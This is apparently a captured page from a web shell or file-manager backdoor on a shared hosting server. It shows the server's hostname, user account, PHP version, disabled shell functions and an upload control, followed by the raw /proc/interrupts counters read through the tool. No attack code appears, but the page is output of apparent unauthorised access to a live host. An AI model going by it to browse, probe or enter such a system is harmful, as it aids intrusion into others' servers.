HEX
Server: Apache
System: Linux 26.184.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User: hyderabadrubberp (1048)
PHP: 8.2.30
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:        208          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0          9   IO-APIC   1-edge      i8042
  4:          2          0          0          0          0          4          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0         15          0   IO-APIC  12-edge      i8042
 16:          0          0          0          0          0          0          0          0   IO-APIC  16-fasteoi   i801_smbus
 22:       5439       9207      25351      22913      41019      16831      63651      11447   IO-APIC  22-fasteoi   uhci_hcd:usb1, virtio4
 24:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 25:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 26:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 27:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 28:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 29:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 30:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 31:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 32:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 33:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.1   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 34:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.2   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 35:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.3   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 36:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.4   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 37:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.5   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 38:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.6   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 39:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.7   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 40:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      PCIe PME, aerdrv, PCIe bwctrl
 41:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:07:00.0   0-edge      virtio5-config
 42:        700       1008       4000       3479       6892       2912       9588       3298  PCI-MSIX-0000:07:00.0   1-edge      virtio5-input
 43:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:03:00.0   0-edge      virtio1-config
 44:     166390     211198     390315     576792     548314     546698     554876     602026  PCI-MSIX-0000:03:00.0   1-edge      virtio1-input.0
 45:     122195     166409     300382     403220     474736     421189     566201     395687  PCI-MSIX-0000:03:00.0   2-edge      virtio1-output.0
 46:     148534     970316     636519    1092033     845295    1214813     572299    1632339  PCI-MSIX-0000:03:00.0   3-edge      virtio1-input.1
 47:     135250     721939     611481    1020621     871760    1071043     648936    1453883  PCI-MSIX-0000:03:00.0   4-edge      virtio1-output.1
 48:     160705     564242     993740    1023934     834248    1147116     667647    1534995  PCI-MSIX-0000:03:00.0   5-edge      virtio1-input.2
 49:     164849     436452    1036778     931944     826456    1010431     746346    1297131  PCI-MSIX-0000:03:00.0   6-edge      virtio1-output.2
 50:     144559    1116069     796339    1926457    1019033    1908780     493865    2574956  PCI-MSIX-0000:03:00.0   7-edge      virtio1-input.3
 51:     170974     855405     850354    1857991     942680    1703485     727131    2374855  PCI-MSIX-0000:03:00.0   8-edge      virtio1-output.3
 52:     184514     698273     677470    1085979    1459225    1282078     619833    1697871  PCI-MSIX-0000:03:00.0   9-edge      virtio1-input.4
 53:     185545     529582     700447     960937    1490426    1030477     753799    1501024  PCI-MSIX-0000:03:00.0  10-edge      virtio1-output.4
 54:     156396    1334096     807683    2070057     968754    2707438     475743    3619393  PCI-MSIX-0000:03:00.0  11-edge      virtio1-input.5
 55:     176690    1125462     907460    2008961     973019    2348723     604003    3364441  PCI-MSIX-0000:03:00.0  12-edge      virtio1-output.5
 56:     162576     421570     658920     847430     740042     988044    1191587    1337604  PCI-MSIX-0000:03:00.0  13-edge      virtio1-input.6
 57:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0   0-edge      virtio3-config
 58:     121630     298864     532615     717248     759770     808641    1377424    1027146  PCI-MSIX-0000:03:00.0  14-edge      virtio1-output.6
 59:          0          0         29        191          0          0          0          0  PCI-MSIX-0000:05:00.0   1-edge      virtio3-virtqueues
 60:     119001    1103818     570529    1983495     928990    4808562     385912    3453789  PCI-MSIX-0000:03:00.0  15-edge      virtio1-input.7
 61:     149707     924620     685534    2086960     900363    4555333     553771    3021811  PCI-MSIX-0000:03:00.0  16-edge      virtio1-output.7
 62:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   0-edge      virtio2-config
 63:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   1-edge      virtio2-control
 64:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   2-edge      virtio2-event
 65:   14116165          0          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   3-edge      virtio2-request
 66:          0   17815637          0          0          0          0          0          0  PCI-MSIX-0000:04:00.0   4-edge      virtio2-request
 67:          0          0   17676209          0          0          0          0          0  PCI-MSIX-0000:04:00.0   5-edge      virtio2-request
 68:          0          0          0   16279898          0          0          0          0  PCI-MSIX-0000:04:00.0   6-edge      virtio2-request
 69:          0          0          0          0   14961819          0          0          0  PCI-MSIX-0000:04:00.0   7-edge      virtio2-request
 70:          0          0          0          0          0   14716756          0          0  PCI-MSIX-0000:04:00.0   8-edge      virtio2-request
 71:          0          0          0          0          0          0   13844894          0  PCI-MSIX-0000:04:00.0   9-edge      virtio2-request
 72:          0          0          0          0          0          0          0   13355438  PCI-MSIX-0000:04:00.0  10-edge      virtio2-request
 73:      25956      42886     127370     132077     207130     111398     302635      81864  PCI-MSI-0000:00:1f.2   0-edge      ahci[0000:00:1f.2]
 74:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:01.0   0-edge      virtio0-config
 75:     224621     605336    1324827    1290284    1421104    1267810    2315934    1019015  PCI-MSIX-0000:00:01.0   1-edge      virtio0-control
 76:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:01.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  478132227  585984442  479943610  450510502  412153645  476287841  394928612  386729169   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:        106         28         51         34         28         25         18         24   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    1977773    2017203    1989039    2174004    2192885    2016736    2130910    2115332   Rescheduling interrupts
CAL:  213729654  144177586  126135494  126131407  122714782  116789979  116081675  113277187   Function call interrupts
TLB:    1065857    1065652    1079493    1090831    1104793    1035777    1103424    1082672   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       5976       5976       5976       5976       5976       5976       5976       5976   Machine check polls
HYP:          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event